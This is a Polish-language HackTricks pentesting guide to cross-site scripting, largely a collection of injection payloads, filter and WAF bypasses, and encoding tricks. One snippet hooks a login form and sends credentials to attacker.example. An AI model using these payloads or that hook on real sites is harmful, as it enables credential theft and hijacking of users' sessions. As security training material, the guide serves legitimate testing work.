XSS (Cross Site Scripting)

Reading time: 54 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Metodologia

  1. Sprawdź, czy jakakolwiek wartość przez Ciebie kontrolowana (parameters, path, headers?, cookies?) jest reflektowana w HTML lub używana przez JS.
  2. Znajdź kontekst, w którym jest reflektowana/używana.
  3. Jeśli reflektowana
  4. Sprawdź, jakie symbole możesz użyć i w zależności od tego przygotuj payload:
  5. W surowym HTML:
  6. Czy możesz tworzyć nowe tagi HTML?
  7. Czy możesz użyć eventów lub atrybutów wspierających protokół javascript:?
  8. Czy możesz obejść zabezpieczenia?
  9. Czy zawartość HTML jest interpretowana przez jakiś klientowy silnik JS (AngularJS, VueJS, Mavo...), który możesz wykorzystać poprzez Client Side Template Injection.
  10. Jeśli nie możesz stworzyć tagów HTML wykonujących JS, czy możesz wykorzystać Dangling Markup - HTML scriptless injection?
  11. Wewnątrz tagu HTML:
  12. Czy możesz wyjść do surowego kontekstu HTML?
  13. Czy możesz stworzyć nowe eventy/atrybuty wykonujące JS?
  14. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS?
  15. Czy możesz obejść zabezpieczenia?
  16. Wewnątrz kodu JavaScript:
  17. Czy możesz uciec z tagu <script>?
  18. Czy możesz uciec ze stringa i wykonać inny kod JS?
  19. Czy Twoje dane wejściowe są w template literals ``?
  20. Czy możesz obejść zabezpieczenia?
  21. Funkcja Javascript jest wykonywana
  22. Możesz wskazać nazwę funkcji do wykonania. np.: ?callback=alert(1)
  23. Jeśli używane:
  24. Możesz wykorzystać DOM XSS, zwróć uwagę jak Twoje dane są kontrolowane i czy Twoje kontrolowane dane są używane przez jakiś sink.

Pracując nad złożonym XSS może Cię zainteresować:

Debugging Client Side JS

Reflected values

Aby skutecznie wykorzystać XSS, pierwszą rzeczą jaką musisz znaleźć jest wartość kontrolowana przez Ciebie, która jest reflektowana na stronie.

  • Intermediately reflected: Jeśli znajdziesz, że wartość parametru lub nawet ścieżka jest reflektowana na stronie, możesz wykorzystać Reflected XSS.
  • Stored and reflected: Jeśli wartość kontrolowana przez Ciebie jest zapisywana na serwerze i jest reflektowana za każdym razem, gdy otwierasz stronę, możesz wykorzystać Stored XSS.
  • Accessed via JS: Jeśli wartość kontrolowana przez Ciebie jest dostępna przez JS, możesz wykorzystać DOM XSS.

Contexts

Próbując wykorzystać XSS pierwszą rzeczą, którą musisz wiedzieć, jest gdzie Twoje dane są reflektowane. W zależności od kontekstu, będziesz mógł wykonać dowolny kod JS na różne sposoby.

Surowy HTML

Jeśli Twoje dane są reflektowane w surowym HTML strony, będziesz musiał wykorzystać jakiś tag HTML żeby wykonać kod JS: <img , <iframe , <svg , <script ... to tylko niektóre z wielu możliwych tagów HTML, których możesz użyć.
Również pamiętaj o Client Side Template Injection.

Wewnątrz atrybutu tagu HTML

Jeśli Twoje dane są reflektowane wewnątrz wartości atrybutu taga, możesz spróbować:

  1. Uciec z atrybutu i z taga (wtedy znajdziesz się w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: "><img [...]
  2. Jeśli możesz uciec z atrybutu, ale nie z taga (> jest kodowany lub usuwany), w zależności od taga możesz stworzyć event, który wykona kod JS: " autofocus onfocus=alert(1) x="
  3. Jeśli nie możesz uciec z atrybutu (" jest kodowane lub usuwane), to w zależności który atrybut zawiera Twoją wartość oraz czy kontrolujesz całość wartości czy tylko jej część, będziesz w stanie to wykorzystać. Na przykład, jeśli kontrolujesz event taki jak onclick= będziesz w stanie wykonać dowolny kod po kliknięciu. Innym interesującym przykładem jest atrybut href, gdzie możesz użyć protokołu javascript: do wykonania dowolnego kodu: href="javascript:alert(1)"
  4. Jeśli Twoje dane są reflektowane wewnątrz "nieeksploatowalnych tagów", możesz spróbować triku z accesskey aby wykorzystać vuln (będziesz potrzebować pewnej formy social engineeringu): " accesskey="x" onclick="alert(1)" x="

Dziwny przykład Angular wykonującego XSS jeśli kontrolujesz nazwę klasy:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

W kodzie JavaScript

W tym przypadku Twoje dane wejściowe są odzwierciedlane pomiędzy <script> [...] </script> tagami strony HTML, wewnątrz pliku .js lub w atrybucie używającym protokołu javascript::

  • Jeśli jest odzwierciedlane pomiędzy <script> [...] </script> tagami, nawet jeśli Twoje dane są wewnątrz jakiegokolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć </script> i uciec z tego kontekstu. Działa to, ponieważ przeglądarka najpierw sparsuje tagi HTML, a dopiero potem ich zawartość, w związku z czym nie zauważy, że wstrzyknięty </script> znajduje się w kodzie HTML.
  • Jeśli jest odzwierciedlane inside a JS string i poprzedni trik nie działa, będziesz musiał opuścić string, wykonać swój kod i odtworzyć kod JS (jeśli wystąpi jakikolwiek błąd, nie zostanie on wykonany):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Jeśli jest odzwierciedlane wewnątrz template literals możesz embed JS expressions używając składni ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Kodowanie Unicode umożliwia zapisanie prawidłowego kodu JavaScript:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting odnosi się do możliwości zadeklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala nadużywać scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.
Sprawdź następującą stronę po więcej informacji:

JS Hoisting

Javascript Function

Wiele stron ma endpointy, które przyjmują jako parametr nazwę funkcji do wykonania. Częstym przykładem spotykanym w praktyce jest coś w stylu: ?callback=callbackFunc.

Dobrym sposobem, aby sprawdzić, czy coś przekazanego bezpośrednio przez użytkownika jest próbowane wykonać, jest zmodyfikowanie wartości parametru (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów takich jak:

Jeśli jest podatne, możesz być w stanie wywołać alert po prostu wysyłając wartość: ?callback=alert(1). Jednak często takie endpointy weryfikują zawartość, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia ([\w\._]).

Nawet z tym ograniczeniem nadal można wykonać pewne akcje. Dzieje się tak, ponieważ możesz użyć dozwolonych znaków, aby uzyskać dostęp do dowolnego elementu w DOM:

Przydatne funkcje do tego:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Możesz też spróbować trigger Javascript functions bezpośrednio: obj.sales.delOrders.

Jednak zazwyczaj endpoints wykonujące wskazaną funkcję to endpoints bez zbyt interesującego DOM, other pages in the same origin będą miały more interesting DOM do wykonania większej liczby akcji.

W związku z tym, aby abuse this vulnerability in a different DOM opracowano exploitację Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Istnieje JS code, który w niebezpieczny sposób używa pewnych danych kontrolowanych przez atakującego, takich jak location.href. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.

DOM XSS

Universal XSS

Ten rodzaj XSS może występować anywhere. Nie zależą one tylko od eksploatacji po stronie klienta aplikacji webowej, lecz od any context. Ten rodzaj arbitrary JavaScript execution może być nawet wykorzystany do uzyskania RCE, read arbitrary files na klientach i serwerach, i więcej.
Some examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Gdy Twój input jest odzwierciedlany inside the HTML page lub możesz w tym kontekście uciec i wstrzyknąć kod HTML, pierwsza rzecz, którą musisz zrobić, to sprawdzić, czy możesz nadużyć <, aby stworzyć nowe tagi: Po prostu spróbuj reflect tego char i sprawdź, czy jest HTML encoded lub deleted albo czy jest reflected without changes. Tylko w ostatnim przypadku będziesz mógł to wykorzystać.
W takich przypadkach także pamiętaj Client Side Template Injection.
Note: A HTML comment can be closed using****-->****or **--!>****

W tym przypadku i jeśli nie są stosowane żadne black/whitelisting, możesz użyć payloadów takich jak:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Ale jeśli stosowane jest tags/attributes black/whitelisting, będziesz musiał brute-force, które tagi możesz utworzyć.
Gdy zlokalizujesz, które tagi są dozwolone, będziesz musiał brute-force atrybuty/zdarzenia wewnątrz znalezionych poprawnych tagów, aby sprawdzić, jak możesz zaatakować kontekst.

Tagi/Zdarzenia brute-force

Przejdź do https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknij Copy tags to clipboard. Następnie wyślij wszystkie za pomocą Burp intruder i sprawdź, czy któryś z tagów nie został wykryty jako złośliwy przez WAF. Gdy odkryjesz, których tagów możesz użyć, możesz brute-force wszystkie zdarzenia używając dozwolonych tagów (na tej samej stronie kliknij Copy events to clipboard i wykonaj tę samą procedurę co wcześniej).

Niestandardowe tagi

Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować utworzyć niestandardowy tag i wykonać kod JS za pomocą atrybutu onfocus. W żądaniu XSS musisz zakończyć URL znakiem #, aby strona ustawiła focus na tym obiekcie i wykonała kod:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Jeśli używana jest jakaś blacklist, możesz spróbować ją obejść kilkoma prostymi sztuczkami:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Więcej tiny XSS dla różnych środowisk payload można znaleźć tutaj i tutaj.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Ostatni używa 2 unicode znaków, które rozwijają się do 5: telsr
More of these characters can be found here.
Aby sprawdzić, na które znaki są dekomponowane sprawdź here.

Click XSS - Clickjacking

If in order to exploit the vulnerability you need the użytkownik kliknął w link lub formularz with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).

Niemożliwe - Dangling Markup

Jeśli po prostu myślisz, że stworzenie tagu HTML z atrybutem uruchamiającym kod JS jest niemożliwe, powinieneś sprawdzić Danglig Markup ponieważ możesz exploit the vulnerability without executing JS code.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

If you are in wewnątrz tagu HTML, the first thing you could try is to uciec z tagu and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Zdarzenia stylu

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

W atrybucie

Nawet jeśli nie możesz uciec z atrybutu (" jest kodowany lub usuwany), w zależności od którego atrybutu wartość jest odzwierciedlana oraz czy kontrolujesz całą wartość czy tylko jej część, będziesz w stanie to wykorzystać. Na przykład, jeśli kontrolujesz zdarzenie takie jak onclick= będziesz w stanie sprawić, że wykona dowolny kod po kliknięciu.
Innym interesującym przykładem jest atrybut href, gdzie możesz użyć protokołu javascript: aby wykonać dowolny kod: href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

Znaki zakodowane w HTML wewnątrz wartości atrybutów tagów HTML są dekodowane w czasie wykonywania. Dlatego coś takiego będzie poprawne (payload jest pogrubiony): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Zauważ, że dowolny rodzaj kodowania HTML jest obsługiwany:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Zauważ, że URL encode również zadziała:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass wewnątrz zdarzenia przy użyciu Unicode encode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Specjalne protokoły w atrybucie

Możesz tam użyć protokołów javascript: lub data: w niektórych miejscach, aby wykonać dowolny kod JS. Niektóre będą wymagać interakcji użytkownika, inne nie.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Miejsca, w których możesz wstrzykiwać te protokoły

Ogólnie protokół javascript: może być użyty w dowolnym tagu, który akceptuje atrybut href i w większości tagów, które akceptują atrybut src (ale nie w <img>)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Inne obfuscation tricks

W tym przypadku HTML encoding i Unicode encoding trick z poprzedniej sekcji również działają, ponieważ znajdujesz się wewnątrz atrybutu.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Co więcej, istnieje jeszcze jedna przydatna sztuczka dla tych przypadków: Nawet jeśli twoje wejście wewnątrz javascript:... jest URL encoded, zostanie URL decoded zanim zostanie wykonane. Dlatego, jeśli musisz escape z string używając single quote i widzisz, że jest URL encoded, pamiętaj, że to nie ma znaczenia, zostanie zinterpretowane jako single quote podczas wykonania.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Zauważ, że jeśli spróbujesz użyć obu URLencode + HTMLencode w dowolnej kolejności, aby zakodować payload, to nie zadziała, ale możesz mieszać je wewnątrz payload.

Użycie Hex i Octal encode z javascript:

Możesz użyć Hex i Octal encode wewnątrz atrybutu src elementu iframe (przynajmniej) aby zadeklarować HTML tags to execute JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Jeśli możesz wstrzyknąć dowolny URL w dowolny tag <a href= zawierający atrybuty target="_blank" and rel="opener", sprawdź następującą stronę, aby wykorzystać to zachowanie:

Reverse Tab Nabbing

Bypass obsługiwaczy zdarzeń "on"

Przede wszystkim sprawdź tę stronę (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) pod kątem przydatnych "on" obsługiwaczy zdarzeń.
W przypadku, gdy istnieje jakaś blacklist uniemożliwiająca utworzenie tych obsługiwaczy zdarzeń, możesz spróbować następujących obejść:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Z here teraz można nadużyć hidden inputs za pomocą:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

A w meta tagach:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Z here: Możesz wykonać XSS payload wewnątrz atrybutu hidden, pod warunkiem że potrafisz nakłonić victim do naciśnięcia kombinacji klawiszy. W Firefox na Windows/Linux kombinacja to ALT+SHIFT+X, a na OS X to CTRL+ALT+X. Możesz określić inną kombinację, używając innego klawisza w atrybucie access key. Oto wektor:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload będzie wyglądał mniej więcej tak: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Kilka sztuczek z wykorzystaniem różnych enkodingów zostało już omówionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Przeczytaj the Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Przeczytaj JavaScript bypass blacklist of the following section.

CSS-Gadgets

Jeśli znalazłeś XSS w bardzo małej części serwisu, która wymaga jakiejś interakcji (np. mały link w stopce z elementem onmouseover), możesz spróbować zmodyfikować przestrzeń zajmowaną przez ten element, aby zmaksymalizować prawdopodobieństwo wywołania linku.

Na przykład możesz dodać do elementu stylowanie takie jak: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ale jeśli WAF filtruje atrybut style, możesz użyć CSS Styling Gadgets, więc jeśli znajdziesz na przykład

.test {display:block; color: blue; width: 100%}

oraz

#someid {top: 0; font-family: Tahoma;}

Teraz możesz zmodyfikować nasz link i doprowadzić go do postaci

<a href="" id=someid class=test onclick=alert() a="">

Ten trik pochodzi z https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

W tych przypadkach twój input zostanie odzwierciedlony wewnątrz kodu JS w pliku .js lub pomiędzy tagami <script>...</script>, albo w eventach HTML, które mogą wykonać kod JS, lub w atrybutach akceptujących protokół javascript:.

Escaping <script> tag

Jeśli twój kod jest wstawiony wewnątrz <script> [...] var input = 'reflected data' [...] </script>, możesz w prosty sposób uciec, zamykając tag <script>:

javascript
</script><img src=1 onerror=alert(document.domain)>

Zauważ, że w tym przykładzie nawet nie zamknęliśmy pojedynczego apostrofu. Dzieje się tak, ponieważ parsowanie HTML jest wykonywane najpierw przez przeglądarkę, które obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest wykonywane dopiero później.

Wewnątrz kodu JS

Jeśli <> są sanitizowane, nadal możesz uciec z łańcucha w miejscu, gdzie twoje dane wejściowe są osadzone, i wykonać dowolny JS. Ważne jest, aby poprawić składnię JS, ponieważ jeśli wystąpią błędy, kod JS nie zostanie wykonany:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kiedy dane wejściowe użytkownika trafiają wewnątrz cytowanego łańcucha JavaScript (e.g., server-side echo into an inline script), możesz zakończyć łańcuch, wstrzyknąć kod i naprawić składnię, aby dalsze parsowanie było poprawne. Ogólny szkielet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w stringu JS:

?param=test";<INJECTION>;a="

To wykonuje złośliwy kod JS bez potrzeby modyfikowania kontekstu HTML (pure JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe.

Literały szablonowe ``

Aby konstruować strings, oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje także backticks ``. Są one znane jako template literals, ponieważ pozwalają na embedded JS expressions używając składni ${ ... }.\
Jeśli więc okaże się, że Twój input jest reflected wewnątrz JS string używającego backticks, możesz wykorzystać składnię ${ ... }, aby wykonać arbitrary JS code:

Można to wykorzystać używając:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Encoded code execution

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads with eval(atob()) and scope nuances

Aby skrócić URL-e i obejść proste filtry słów kluczowych, możesz zakodować swoją rzeczywistą logikę w base64 i wykonać ją za pomocą eval(atob('...')). Jeśli proste filtrowanie słów kluczowych blokuje identyfikatory takie jak alert, eval lub atob, użyj identyfikatorów zapisanych jako Unicode-escape, które kompilują się identycznie w przeglądarce, ale omijają filtry dopasowujące ciągi znaków:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Ważny niuans dotyczący zakresu: const/let deklarowane wewnątrz eval() mają zasięg blokowy i NIE tworzą zmiennych globalnych; nie będą dostępne dla późniejszych skryptów. Użyj dynamicznie wstrzykiwanego elementu <script>, aby zdefiniować globalne, niemożliwe do ponownego przypisania hooki, gdy to konieczne (np. aby przejąć obsługę formularza):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Źródło: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode Encode — wykonywanie JS

javascript
alert(1)
alert(1)
alert(1)

Techniki bypass blacklists w JavaScript

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Specjalne znaki ucieczki

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Zastępowanie spacji w kodzie JS

javascript
<TAB>
/**/

JavaScript komentarze (z JavaScript Comments sztuczka)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (z JavaScript new line trick)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

Białe znaki w JavaScript

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript w komentarzu

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez nawiasów

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
